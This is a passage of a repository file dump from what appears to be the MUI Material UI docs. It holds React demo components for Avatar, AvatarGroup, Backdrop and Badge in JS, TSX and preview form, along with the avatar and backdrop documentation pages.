    "content": "import Avatar from '@mui/material/Avatar';\nimport Stack from '@mui/material/Stack';\n\nexport default function ImageAvatars() {\n  return (\n    <Stack direction=\"row\" spacing={2}>\n      <Avatar alt=\"Remy Sharp\" src=\"/static/images/avatar/1.jpg\" />\n      <Avatar alt=\"Travis Howard\" src=\"/static/images/avatar/2.jpg\" />\n      <Avatar alt=\"Cindy Baker\" src=\"/static/images/avatar/3.jpg\" />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/avatars/ImageAvatars.tsx.preview",
    "content": "<Avatar alt=\"Remy Sharp\" src=\"/static/images/avatar/1.jpg\" />\n<Avatar alt=\"Travis Howard\" src=\"/static/images/avatar/2.jpg\" />\n<Avatar alt=\"Cindy Baker\" src=\"/static/images/avatar/3.jpg\" />"
  },
  {
    "path": "docs/data/material/components/avatars/LetterAvatars.js",
    "content": "import Avatar from '@mui/material/Avatar';\nimport Stack from '@mui/material/Stack';\nimport { deepOrange, deepPurple } from '@mui/material/colors';\n\nexport default function LetterAvatars() {\n  return (\n    <Stack direction=\"row\" spacing={2}>\n      <Avatar>H</Avatar>\n      <Avatar sx={{ bgcolor: deepOrange[500] }}>N</Avatar>\n      <Avatar sx={{ bgcolor: deepPurple[500] }}>OP</Avatar>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/avatars/LetterAvatars.tsx",
    "content": "import Avatar from '@mui/material/Avatar';\nimport Stack from '@mui/material/Stack';\nimport { deepOrange, deepPurple } from '@mui/material/colors';\n\nexport default function LetterAvatars() {\n  return (\n    <Stack direction=\"row\" spacing={2}>\n      <Avatar>H</Avatar>\n      <Avatar sx={{ bgcolor: deepOrange[500] }}>N</Avatar>\n      <Avatar sx={{ bgcolor: deepPurple[500] }}>OP</Avatar>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/avatars/LetterAvatars.tsx.preview",
    "content": "<Avatar>H</Avatar>\n<Avatar sx={{ bgcolor: deepOrange[500] }}>N</Avatar>\n<Avatar sx={{ bgcolor: deepPurple[500] }}>OP</Avatar>"
  },
  {
    "path": "docs/data/material/components/avatars/SizeAvatars.js",
    "content": "import Avatar from '@mui/material/Avatar';\nimport Stack from '@mui/material/Stack';\n\nexport default function SizeAvatars() {\n  return (\n    <Stack direction=\"row\" spacing={2}>\n      <Avatar\n        alt=\"Remy Sharp\"\n        src=\"/static/images/avatar/1.jpg\"\n        sx={{ width: 24, height: 24 }}\n      />\n      <Avatar alt=\"Remy Sharp\" src=\"/static/images/avatar/1.jpg\" />\n      <Avatar\n        alt=\"Remy Sharp\"\n        src=\"/static/images/avatar/1.jpg\"\n        sx={{ width: 56, height: 56 }}\n      />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/avatars/SizeAvatars.tsx",
    "content": "import Avatar from '@mui/material/Avatar';\nimport Stack from '@mui/material/Stack';\n\nexport default function SizeAvatars() {\n  return (\n    <Stack direction=\"row\" spacing={2}>\n      <Avatar\n        alt=\"Remy Sharp\"\n        src=\"/static/images/avatar/1.jpg\"\n        sx={{ width: 24, height: 24 }}\n      />\n      <Avatar alt=\"Remy Sharp\" src=\"/static/images/avatar/1.jpg\" />\n      <Avatar\n        alt=\"Remy Sharp\"\n        src=\"/static/images/avatar/1.jpg\"\n        sx={{ width: 56, height: 56 }}\n      />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/avatars/SizeAvatars.tsx.preview",
    "content": "<Avatar\n  alt=\"Remy Sharp\"\n  src=\"/static/images/avatar/1.jpg\"\n  sx={{ width: 24, height: 24 }}\n/>\n<Avatar alt=\"Remy Sharp\" src=\"/static/images/avatar/1.jpg\" />\n<Avatar\n  alt=\"Remy Sharp\"\n  src=\"/static/images/avatar/1.jpg\"\n  sx={{ width: 56, height: 56 }}\n/>"
  },
  {
    "path": "docs/data/material/components/avatars/Spacing.js",
    "content": "import Avatar from '@mui/material/Avatar';\nimport AvatarGroup from '@mui/material/AvatarGroup';\nimport Stack from '@mui/material/Stack';\n\nexport default function Spacing() {\n  return (\n    <Stack spacing={4}>\n      <AvatarGroup spacing=\"medium\">\n        <Avatar alt=\"Remy Sharp\" src=\"/static/images/avatar/1.jpg\" />\n        <Avatar alt=\"Travis Howard\" src=\"/static/images/avatar/2.jpg\" />\n        <Avatar alt=\"Cindy Baker\" src=\"/static/images/avatar/3.jpg\" />\n      </AvatarGroup>\n      <AvatarGroup spacing=\"small\">\n        <Avatar alt=\"Remy Sharp\" src=\"/static/images/avatar/1.jpg\" />\n        <Avatar alt=\"Travis Howard\" src=\"/static/images/avatar/2.jpg\" />\n        <Avatar alt=\"Cindy Baker\" src=\"/static/images/avatar/3.jpg\" />\n      </AvatarGroup>\n      <AvatarGroup spacing={24}>\n        <Avatar alt=\"Remy Sharp\" src=\"/static/images/avatar/1.jpg\" />\n        <Avatar alt=\"Travis Howard\" src=\"/static/images/avatar/2.jpg\" />\n        <Avatar alt=\"Cindy Baker\" src=\"/static/images/avatar/3.jpg\" />\n      </AvatarGroup>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/avatars/Spacing.tsx",
    "content": "import Avatar from '@mui/material/Avatar';\nimport AvatarGroup from '@mui/material/AvatarGroup';\nimport Stack from '@mui/material/Stack';\n\nexport default function Spacing() {\n  return (\n    <Stack spacing={4}>\n      <AvatarGroup spacing=\"medium\">\n        <Avatar alt=\"Remy Sharp\" src=\"/static/images/avatar/1.jpg\" />\n        <Avatar alt=\"Travis Howard\" src=\"/static/images/avatar/2.jpg\" />\n        <Avatar alt=\"Cindy Baker\" src=\"/static/images/avatar/3.jpg\" />\n      </AvatarGroup>\n      <AvatarGroup spacing=\"small\">\n        <Avatar alt=\"Remy Sharp\" src=\"/static/images/avatar/1.jpg\" />\n        <Avatar alt=\"Travis Howard\" src=\"/static/images/avatar/2.jpg\" />\n        <Avatar alt=\"Cindy Baker\" src=\"/static/images/avatar/3.jpg\" />\n      </AvatarGroup>\n      <AvatarGroup spacing={24}>\n        <Avatar alt=\"Remy Sharp\" src=\"/static/images/avatar/1.jpg\" />\n        <Avatar alt=\"Travis Howard\" src=\"/static/images/avatar/2.jpg\" />\n        <Avatar alt=\"Cindy Baker\" src=\"/static/images/avatar/3.jpg\" />\n      </AvatarGroup>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/avatars/Spacing.tsx.preview",
    "content": "<AvatarGroup spacing=\"medium\">\n  <Avatar alt=\"Remy Sharp\" src=\"/static/images/avatar/1.jpg\" />\n  <Avatar alt=\"Travis Howard\" src=\"/static/images/avatar/2.jpg\" />\n  <Avatar alt=\"Cindy Baker\" src=\"/static/images/avatar/3.jpg\" />\n</AvatarGroup>\n<AvatarGroup spacing=\"small\">\n  <Avatar alt=\"Remy Sharp\" src=\"/static/images/avatar/1.jpg\" />\n  <Avatar alt=\"Travis Howard\" src=\"/static/images/avatar/2.jpg\" />\n  <Avatar alt=\"Cindy Baker\" src=\"/static/images/avatar/3.jpg\" />\n</AvatarGroup>\n<AvatarGroup spacing={24}>\n  <Avatar alt=\"Remy Sharp\" src=\"/static/images/avatar/1.jpg\" />\n  <Avatar alt=\"Travis Howard\" src=\"/static/images/avatar/2.jpg\" />\n  <Avatar alt=\"Cindy Baker\" src=\"/static/images/avatar/3.jpg\" />\n</AvatarGroup>"
  },
  {
    "path": "docs/data/material/components/avatars/TotalAvatars.js",
    "content": "import Avatar from '@mui/material/Avatar';\nimport AvatarGroup from '@mui/material/AvatarGroup';\n\nexport default function TotalAvatars() {\n  return (\n    <AvatarGroup total={24}>\n      <Avatar alt=\"Remy Sharp\" src=\"/static/images/avatar/1.jpg\" />\n      <Avatar alt=\"Travis Howard\" src=\"/static/images/avatar/2.jpg\" />\n      <Avatar alt=\"Agnes Walker\" src=\"/static/images/avatar/4.jpg\" />\n      <Avatar alt=\"Trevor Henderson\" src=\"/static/images/avatar/5.jpg\" />\n    </AvatarGroup>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/avatars/TotalAvatars.tsx",
    "content": "import Avatar from '@mui/material/Avatar';\nimport AvatarGroup from '@mui/material/AvatarGroup';\n\nexport default function TotalAvatars() {\n  return (\n    <AvatarGroup total={24}>\n      <Avatar alt=\"Remy Sharp\" src=\"/static/images/avatar/1.jpg\" />\n      <Avatar alt=\"Travis Howard\" src=\"/static/images/avatar/2.jpg\" />\n      <Avatar alt=\"Agnes Walker\" src=\"/static/images/avatar/4.jpg\" />\n      <Avatar alt=\"Trevor Henderson\" src=\"/static/images/avatar/5.jpg\" />\n    </AvatarGroup>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/avatars/TotalAvatars.tsx.preview",
    "content": "<AvatarGroup total={24}>\n  <Avatar alt=\"Remy Sharp\" src=\"/static/images/avatar/1.jpg\" />\n  <Avatar alt=\"Travis Howard\" src=\"/static/images/avatar/2.jpg\" />\n  <Avatar alt=\"Agnes Walker\" src=\"/static/images/avatar/4.jpg\" />\n  <Avatar alt=\"Trevor Henderson\" src=\"/static/images/avatar/5.jpg\" />\n</AvatarGroup>"
  },
  {
    "path": "docs/data/material/components/avatars/UploadAvatars.js",
    "content": "import * as React from 'react';\nimport Avatar from '@mui/material/Avatar';\nimport ButtonBase from '@mui/material/ButtonBase';\n\nexport default function UploadAvatars() {\n  const [avatarSrc, setAvatarSrc] = React.useState(undefined);\n\n  const handleAvatarChange = (event) => {\n    const file = event.target.files?.[0];\n    if (file) {\n      // Read the file as a data URL\n      const reader = new FileReader();\n      reader.onload = () => {\n        setAvatarSrc(reader.result);\n      };\n      reader.readAsDataURL(file);\n    }\n  };\n\n  return (\n    <ButtonBase\n      component=\"label\"\n      role={undefined}\n      tabIndex={-1} // prevent label from tab focus\n      aria-label=\"Avatar image\"\n      sx={{\n        borderRadius: '40px',\n        '&:has(:focus-visible)': {\n          outline: '2px solid',\n          outlineOffset: '2px',\n        },\n      }}\n    >\n      <Avatar alt=\"Upload new avatar\" src={avatarSrc} />\n      <input\n        type=\"file\"\n        accept=\"image/*\"\n        style={{\n          border: 0,\n          clip: 'rect(0 0 0 0)',\n          height: '1px',\n          margin: '-1px',\n          overflow: 'hidden',\n          padding: 0,\n          position: 'absolute',\n          whiteSpace: 'nowrap',\n          width: '1px',\n        }}\n        onChange={handleAvatarChange}\n      />\n    </ButtonBase>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/avatars/UploadAvatars.tsx",
    "content": "import * as React from 'react';\nimport Avatar from '@mui/material/Avatar';\nimport ButtonBase from '@mui/material/ButtonBase';\n\nexport default function UploadAvatars() {\n  const [avatarSrc, setAvatarSrc] = React.useState<string | undefined>(undefined);\n\n  const handleAvatarChange = (event: React.ChangeEvent<HTMLInputElement>) => {\n    const file = event.target.files?.[0];\n    if (file) {\n      // Read the file as a data URL\n      const reader = new FileReader();\n      reader.onload = () => {\n        setAvatarSrc(reader.result as string);\n      };\n      reader.readAsDataURL(file);\n    }\n  };\n\n  return (\n    <ButtonBase\n      component=\"label\"\n      role={undefined}\n      tabIndex={-1} // prevent label from tab focus\n      aria-label=\"Avatar image\"\n      sx={{\n        borderRadius: '40px',\n        '&:has(:focus-visible)': {\n          outline: '2px solid',\n          outlineOffset: '2px',\n        },\n      }}\n    >\n      <Avatar alt=\"Upload new avatar\" src={avatarSrc} />\n      <input\n        type=\"file\"\n        accept=\"image/*\"\n        style={{\n          border: 0,\n          clip: 'rect(0 0 0 0)',\n          height: '1px',\n          margin: '-1px',\n          overflow: 'hidden',\n          padding: 0,\n          position: 'absolute',\n          whiteSpace: 'nowrap',\n          width: '1px',\n        }}\n        onChange={handleAvatarChange}\n      />\n    </ButtonBase>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/avatars/VariantAvatars.js",
    "content": "import Avatar from '@mui/material/Avatar';\nimport Stack from '@mui/material/Stack';\nimport { deepOrange, green } from '@mui/material/colors';\nimport AssignmentIcon from '@mui/icons-material/Assignment';\n\nexport default function VariantAvatars() {\n  return (\n    <Stack direction=\"row\" spacing={2}>\n      <Avatar sx={{ bgcolor: deepOrange[500] }} variant=\"square\">\n        N\n      </Avatar>\n      <Avatar sx={{ bgcolor: green[500] }} variant=\"rounded\">\n        <AssignmentIcon />\n      </Avatar>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/avatars/VariantAvatars.tsx",
    "content": "import Avatar from '@mui/material/Avatar';\nimport Stack from '@mui/material/Stack';\nimport { deepOrange, green } from '@mui/material/colors';\nimport AssignmentIcon from '@mui/icons-material/Assignment';\n\nexport default function VariantAvatars() {\n  return (\n    <Stack direction=\"row\" spacing={2}>\n      <Avatar sx={{ bgcolor: deepOrange[500] }} variant=\"square\">\n        N\n      </Avatar>\n      <Avatar sx={{ bgcolor: green[500] }} variant=\"rounded\">\n        <AssignmentIcon />\n      </Avatar>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/avatars/VariantAvatars.tsx.preview",
    "content": "<Avatar sx={{ bgcolor: deepOrange[500] }} variant=\"square\">\n  N\n</Avatar>\n<Avatar sx={{ bgcolor: green[500] }} variant=\"rounded\">\n  <AssignmentIcon />\n</Avatar>"
  },
  {
    "path": "docs/data/material/components/avatars/avatars.md",
    "content": "---\nproductId: material-ui\ntitle: React Avatar component\ncomponents: Avatar, AvatarGroup, Badge\ngithubLabel: 'scope: avatar'\ngithubSource: packages/mui-material/src/Avatar\n---\n\n# Avatar\n\n<p class=\"description\">Avatars are found throughout material design with uses in everything from tables to dialog menus.</p>\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Image avatars\n\nImage avatars can be created by passing standard `img` props `src` or `srcSet` to the component.\n\n{{\"demo\": \"ImageAvatars.js\"}}\n\n## Letter avatars\n\nAvatars containing simple characters can be created by passing a string as `children`.\n\n{{\"demo\": \"LetterAvatars.js\"}}\n\nYou can use different background colors for the avatar.\nThe following demo generates the color based on the name of the person.\n\n{{\"demo\": \"BackgroundLetterAvatars.js\"}}\n\n## Sizes\n\nYou can change the size of the avatar with the `height` and `width` CSS properties.\n\n{{\"demo\": \"SizeAvatars.js\"}}\n\n## Icon avatars\n\nIcon avatars are created by passing an icon as `children`.\n\n{{\"demo\": \"IconAvatars.js\"}}\n\n## Variants\n\nIf you need square or rounded avatars, use the `variant` prop.\n\n{{\"demo\": \"VariantAvatars.js\"}}\n\n## Fallbacks\n\nIf there is an error loading the avatar image, the component falls back to an alternative in the following order:\n\n- the provided children\n- the first letter of the `alt` text\n- a generic avatar icon\n\n{{\"demo\": \"FallbackAvatars.js\"}}\n\n## Grouped\n\n`AvatarGroup` renders its children as a stack. Use the `max` prop to limit the number of avatars.\n\n{{\"demo\": \"GroupAvatars.js\"}}\n\n### Total avatars\n\nIf you need to control the total number of avatars not shown, you can use the `total` prop.\n\n{{\"demo\": \"TotalAvatars.js\"}}\n\n### Custom surplus\n\nSet the `renderSurplus` prop as a callback to customize the surplus avatar. The callback will receive the surplus number as an argument based on the children and the `max` prop, and should return a `React.ReactNode`.\n\nThe `renderSurplus` prop is useful when you need to render the surplus based on the data sent from the server.\n\n{{\"demo\": \"CustomSurplusAvatars.js\"}}\n\n### Spacing\n\nYou can change the spacing between avatars using the `spacing` prop. You can use one of the presets (`\"medium\"`, the default, or `\"small\"`) or set a custom numeric value.\n\n{{\"demo\": \"Spacing.js\"}}\n\n## With badge\n\n{{\"demo\": \"BadgeAvatars.js\"}}\n\n## Avatar upload\n\n{{\"demo\": \"UploadAvatars.js\"}}\n"
  },
  {
    "path": "docs/data/material/components/backdrop/SimpleBackdrop.js",
    "content": "import * as React from 'react';\nimport Backdrop from '@mui/material/Backdrop';\nimport CircularProgress from '@mui/material/CircularProgress';\nimport Button from '@mui/material/Button';\n\nexport default function SimpleBackdrop() {\n  const [open, setOpen] = React.useState(false);\n  const handleClose = () => {\n    setOpen(false);\n  };\n  const handleOpen = () => {\n    setOpen(true);\n  };\n\n  return (\n    <div>\n      <Button onClick={handleOpen}>Show backdrop</Button>\n      <Backdrop\n        sx={(theme) => ({ color: '#fff', zIndex: theme.zIndex.drawer + 1 })}\n        open={open}\n        onClick={handleClose}\n      >\n        <CircularProgress color=\"inherit\" />\n      </Backdrop>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/backdrop/SimpleBackdrop.tsx",
    "content": "import * as React from 'react';\nimport Backdrop from '@mui/material/Backdrop';\nimport CircularProgress from '@mui/material/CircularProgress';\nimport Button from '@mui/material/Button';\n\nexport default function SimpleBackdrop() {\n  const [open, setOpen] = React.useState(false);\n  const handleClose = () => {\n    setOpen(false);\n  };\n  const handleOpen = () => {\n    setOpen(true);\n  };\n\n  return (\n    <div>\n      <Button onClick={handleOpen}>Show backdrop</Button>\n      <Backdrop\n        sx={(theme) => ({ color: '#fff', zIndex: theme.zIndex.drawer + 1 })}\n        open={open}\n        onClick={handleClose}\n      >\n        <CircularProgress color=\"inherit\" />\n      </Backdrop>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/backdrop/SimpleBackdrop.tsx.preview",
    "content": "<Button onClick={handleOpen}>Show backdrop</Button>\n<Backdrop\n  sx={(theme) => ({ color: '#fff', zIndex: theme.zIndex.drawer + 1 })}\n  open={open}\n  onClick={handleClose}\n>\n  <CircularProgress color=\"inherit\" />\n</Backdrop>"
  },
  {
    "path": "docs/data/material/components/backdrop/backdrop.md",
    "content": "---\nproductId: material-ui\ntitle: Backdrop React Component\ncomponents: Backdrop\ngithubLabel: 'scope: backdrop'\ngithubSource: packages/mui-material/src/Backdrop\n---\n\n# Backdrop\n\n<p class=\"description\">The Backdrop component narrows the user's focus to a particular element on the screen.</p>\n\nThe Backdrop signals a state change within the application and can be used for creating loaders, dialogs, and more.\nIn its simplest form, the Backdrop component will add a dimmed layer over your application.\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Example\n\nThe demo below shows a basic Backdrop with a Circular Progress component in the foreground to indicate a loading state.\nAfter clicking **Show Backdrop**, you can click anywhere on the page to close it.\n\n{{\"demo\": \"SimpleBackdrop.js\"}}\n"
  },
  {
    "path": "docs/data/material/components/badges/AccessibleBadges.js",
    "content": "import IconButton from '@mui/material/IconButton';\nimport Badge from '@mui/material/Badge';\nimport MailIcon from '@mui/icons-material/Mail';\n\nfunction notificationsLabel(count) {\n  if (count === 0) {\n    return 'no notifications';\n  }\n  if (count > 99) {\n    return 'more than 99 notifications';\n  }\n  return `${count} notifications`;\n}\n\nexport default function AccessibleBadges() {\n  return (\n    <IconButton aria-label={notificationsLabel(100)}>\n      <Badge badgeContent={100} color=\"secondary\">\n        <MailIcon />\n      </Badge>\n    </IconButton>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/badges/AccessibleBadges.tsx",
    "content": "import IconButton from '@mui/material/IconButton';\nimport Badge from '@mui/material/Badge';\nimport MailIcon from '@mui/icons-material/Mail';\n\nfunction notificationsLabel(count: number) {\n  if (count === 0) {\n    return 'no notifications';\n  }\n  if (count > 99) {\n    return 'more than 99 notifications';\n  }\n  return `${count} notifications`;\n}\n\nexport default function AccessibleBadges() {\n  return (\n    <IconButton aria-label={notificationsLabel(100)}>\n      <Badge badgeContent={100} color=\"secondary\">\n        <MailIcon />\n      </Badge>\n    </IconButton>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/badges/AccessibleBadges.tsx.preview",
    "content": "<IconButton aria-label={notificationsLabel(100)}>\n  <Badge badgeContent={100} color=\"secondary\">\n    <MailIcon />\n  </Badge>\n</IconButton>"
  },
  {
    "path": "docs/data/material/components/badges/BadgeAlignment.js",
    "content": "import * as React from 'react';\nimport Badge from '@mui/material/Badge';\nimport FormControl from '@mui/material/FormControl';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport FormLabel from '@mui/material/FormLabel';\nimport Radio from '@mui/material/Radio';\nimport RadioGroup from '@mui/material/RadioGroup';\nimport Box from '@mui/material/Box';\nimport MailIcon from '@mui/icons-material/Mail';\nimport { HighlightedCode } from '@mui/docs/HighlightedCode';\n\nexport default function BadgeAlignment() {\n  const [horizontal, setHorizontal] = React.useState('right');\n  const [vertical, setVertical] = React.useState('top');\n\n  const handleHorizontalChange = (event) => {\n    setHorizontal(event.target.value);\n  };\n\n  const handleVerticalChange = (event) => {\n    setVertical(event.target.value);\n  };\n\n  const jsx = `\n<Badge\n  anchorOrigin={{\n    vertical: '${vertical}',\n    horizontal: '${horizontal}',\n  }}\n>\n`;\n\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Box\n        sx={{\n          display: 'flex',\n          justifyContent: 'center',\n          '& fieldset': {\n            margin: 3,\n          },\n        }}\n      >\n        <FormControl component=\"fieldset\">\n          <FormLabel component=\"legend\">Vertical</FormLabel>\n          <RadioGroup\n            name=\"vertical\"\n            value={vertical}\n            onChange={handleVerticalChange}\n          >\n            <FormControlLabel value=\"top\" control={<Radio />} label=\"Top\" />\n            <FormControlLabel value=\"bottom\" control={<Radio />} label=\"Bottom\" />\n          </RadioGroup>\n        </FormControl>\n        <FormControl component=\"fieldset\">\n          <FormLabel component=\"legend\">Horizontal</FormLabel>\n          <RadioGroup\n            name=\"horizontal\"\n            value={horizontal}\n            onChange={handleHorizontalChange}\n          >\n            <FormControlLabel value=\"right\" control={<Radio />} label=\"Right\" />\n            <FormControlLabel value=\"left\" control={<Radio />} label=\"Left\" />\n          </RadioGroup>\n        </FormControl>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          justifyContent: 'center',\n          color: 'action.active',\n          '& > *': {\n            margin: 2,\n          },\n        }}\n      >\n        <Badge\n          color=\"secondary\"\n          variant=\"dot\"\n          badgeContent={1}\n          anchorOrigin={{\n            horizontal,\n            vertical,\n          }}\n        >\n          <MailIcon />\n        </Badge>\n        <Badge\n          color=\"secondary\"\n          badgeContent={1}\n          anchorOrigin={{\n            horizontal,\n            vertical,\n          }}\n        >\n          <MailIcon />\n        </Badge>\n        <Badge\n          color=\"secondary\"\n          badgeContent={12}\n          anchorOrigin={{\n            horizontal,\n            vertical,\n          }}\n        >\n          <MailIcon />\n        </Badge>\n        <Badge\n          color=\"secondary\"\n          badgeContent={123}\n          anchorOrigin={{\n            horizontal,\n            vertical,\n          }}\n        >\n          <MailIcon />\n        </Badge>\n        <Badge\n          color=\"secondary\"\n          max={999}\n          badgeContent={1337}\n          anchorOrigin={{\n            horizontal,\n            vertical,\n          }}\n        >\n          <MailIcon />\n        </Badge>\n      </Box>\n      <HighlightedCode code={jsx} language=\"jsx\" />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/badges/BadgeMax.js",
    "content": "import Stack from '@mui/material/Stack';\nimport Badge from '@mui/material/Badge';\nimport MailIcon from '@mui/icons-material/Mail';\n\nexport default function BadgeMax() {\n  return (\n    <Stack spacing={4} direction=\"row\" sx={{ color: 'action.active' }}>\n      <Badge color=\"secondary\" badgeContent={99}>\n        <MailIcon />\n      </Badge>\n      <Badge color=\"secondary\" badgeContent={100}>\n        <MailIcon />\n      </Badge>\n      <Badge color=\"secondary\" badgeContent={1000} max={999}>\n        <MailIcon />\n      </Badge>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/badges/BadgeMax.tsx",
    "content": "import Stack from '@mui/material/Stack';\nimport Badge from '@mui/material/Badge';\nimport MailIcon from '@mui/icons-material/Mail';\n\nexport default function BadgeMax() {\n  return (\n    <Stack spacing={4} direction=\"row\" sx={{ color: 'action.active' }}>\n      <Badge color=\"secondary\" badgeContent={99}>\n        <MailIcon />\n      </Badge>\n      <Badge color=\"secondary\" badgeContent={100}>\n        <MailIcon />\n      </Badge>\n      <Badge color=\"secondary\" badgeContent={1000} max={999}>\n        <MailIcon />\n      </Badge>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/badges/BadgeMax.tsx.preview",
    "content": "<Badge color=\"secondary\" badgeContent={99}>\n  <MailIcon />\n</Badge>\n<Badge color=\"secondary\" badgeContent={100}>\n  <MailIcon />\n</Badge>\n<Badge color=\"secondary\" badgeContent={1000} max={999}>\n  <MailIcon />\n</Badge>"
  },
  {
    "path": "docs/data/material/components/badges/BadgeOverlap.js",
    "content": "import Box from '@mui/material/Box';\nimport Stack from '@mui/material/Stack';\nimport Badge from '@mui/material/Badge';\n\nconst shapeStyles = { bgcolor: 'primary.main', width: 40, height: 40 };\nconst shapeCircleStyles = { borderRadius: '50%' };\nconst rectangle = <Box component=\"span\" sx={shapeStyles} />;\nconst circle = (\n  <Box component=\"span\" sx={{ ...shapeStyles, ...shapeCircleStyles }} />\n);\n\nexport default function BadgeOverlap() {\n  return (\n    <Stack spacing={3} direction=\"row\">\n      <Badge color=\"secondary\" badgeContent=\" \">\n        {rectangle}\n      </Badge>\n      <Badge color=\"secondary\" badgeContent=\" \" variant=\"dot\">\n        {rectangle}\n      </Badge>\n      <Badge color=\"secondary\" overlap=\"circular\" badgeContent=\" \">\n        {circle}\n      </Badge>\n      <Badge color=\"secondary\" overlap=\"circular\" badgeContent=\" \" variant=\"dot\">\n        {circle}\n      </Badge>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/badges/BadgeOverlap.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Stack from '@mui/material/Stack';\nimport Badge from '@mui/material/Badge';\n\nconst shapeStyles = { bgcolor: 'primary.main', width: 40, height: 40 };\nconst shapeCircleStyles = { borderRadius: '50%' };\nconst rectangle = <Box component=\"span\" sx={shapeStyles} />;\nconst circle = (\n  <Box component=\"span\" sx={{ ...shapeStyles, ...shapeCircleStyles }} />\n);\nexport default function BadgeOverlap() {\n  return (\n    <Stack spacing={3} direction=\"row\">\n      <Badge color=\"secondary\" badgeContent=\" \">\n        {rectangle}\n      </Badge>\n      <Badge color=\"secondary\" badgeContent=\" \" variant=\"dot\">\n        {rectangle}\n      </Badge>\n      <Badge color=\"secondary\" overlap=\"circular\" badgeContent=\" \">\n        {circle}\n      </Badge>\n      <Badge color=\"secondary\" overlap=\"circular\" badgeContent=\" \" variant=\"dot\">\n        {circle}\n      </Badge>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/badges/BadgeOverlap.tsx.preview",
    "content": "<Badge color=\"secondary\" badgeContent=\" \">\n  {rectangle}\n</Badge>\n<Badge color=\"secondary\" badgeContent=\" \" variant=\"dot\">\n  {rectangle}\n</Badge>\n<Badge color=\"secondary\" overlap=\"circular\" badgeContent=\" \">\n  {circle}\n</Badge>\n<Badge color=\"secondary\" overlap=\"circular\" badgeContent=\" \" variant=\"dot\">\n  {circle}\n</Badge>"
  },
  {
    "path": "docs/data/material/components/badges/BadgeVisibility.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Badge from '@mui/material/Badge';\nimport ButtonGroup from '@mui/material/ButtonGroup';\nimport Button from '@mui/material/Button';\nimport AddIcon from '@mui/icons-material/Add';\nimport RemoveIcon from '@mui/icons-material/Remove';\nimport MailIcon from '@mui/icons-material/Mail';\nimport Switch from '@mui/material/Switch';\nimport FormControlLabel from '@mui/material/FormControlLabel';\n\nexport default function BadgeVisibility() {\n  const [count, setCount] = React.useState(1);\n  const [invisible, setInvisible] = React.useState(false);\n\n  const handleBadgeVisibility = () => {\n    setInvisible(!invisible);\n  };\n\n  return (\n    <Box\n      sx={{\n        color: 'action.active',\n        display: 'flex',\n        flexDirection: 'column',\n        '& > *': {\n          marginBottom: 2,\n        },\n        '& .MuiBadge-root': {\n          marginRight: 4,\n        },\n      }}\n    >\n      <div>\n        <Badge color=\"secondary\" badgeContent={count}>\n          <MailIcon />\n        </Badge>\n        <ButtonGroup>\n          <Button\n            aria-label=\"reduce\"\n            onClick={() => {\n              setCount(Math.max(count - 1, 0));\n            }}\n          >\n            <RemoveIcon fontSize=\"small\" />\n          </Button>\n          <Button\n            aria-label=\"increase\"\n            onClick={() => {\n              setCount(count + 1);\n            }}\n          >\n            <AddIcon fontSize=\"small\" />\n          </Button>\n        </ButtonGroup>\n      </div>\n      <div>\n        <Badge color=\"secondary\" variant=\"dot\" invisible={invisible}>\n          <MailIcon />\n        </Badge>\n        <FormControlLabel\n          sx={{ color: 'text.primary' }}\n          control={<Switch checked={!invisible} onChange={handleBadgeVisibility} />}\n          label=\"Show Badge\"\n        />\n      </div>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/badges/BadgeVisibility.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Badge from '@mui/material/Badge';\nimport ButtonGroup from '@mui/material/ButtonGroup';\nimport Button from '@mui/material/Button';\nimport AddIcon from '@mui/icons-material/Add';\nimport RemoveIcon from '@mui/icons-material/Remove';\nimport MailIcon from '@mui/icons-material/Mail';\nimport Switch from '@mui/material/Switch';\nimport FormControlLabel from '@mui/material/FormControlLabel';\n\nexport default function BadgeVisibility() {\n  const [count, setCount] = React.useState(1);\n  const [invisible, setInvisible] = React.useState(false);\n\n  const handleBadgeVisibility = () => {\n    setInvisible(!invisible);\n  };\n\n  return (\n    <Box\n      sx={{\n        color: 'action.active',\n        display: 'flex',\n        flexDirection: 'column',\n        '& > *': {\n          marginBottom: 2,\n        },\n        '& .MuiBadge-root': {\n          marginRight: 4,\n        },\n      }}\n    >\n      <div>\n        <Badge color=\"secondary\" badgeContent={count}>\n          <MailIcon />\n        </Badge>\n        <ButtonGroup>\n          <Button\n            aria-label=\"reduce\"\n            onClick={() => {\n              setCount(Math.max(count - 1, 0));\n            }}\n          >\n            <RemoveIcon fontSize=\"small\" />\n          </Button>\n          <Button\n            aria-label=\"increase\"\n            onClick={() => {\n              setCount(count + 1);\n            }}\n          >\n            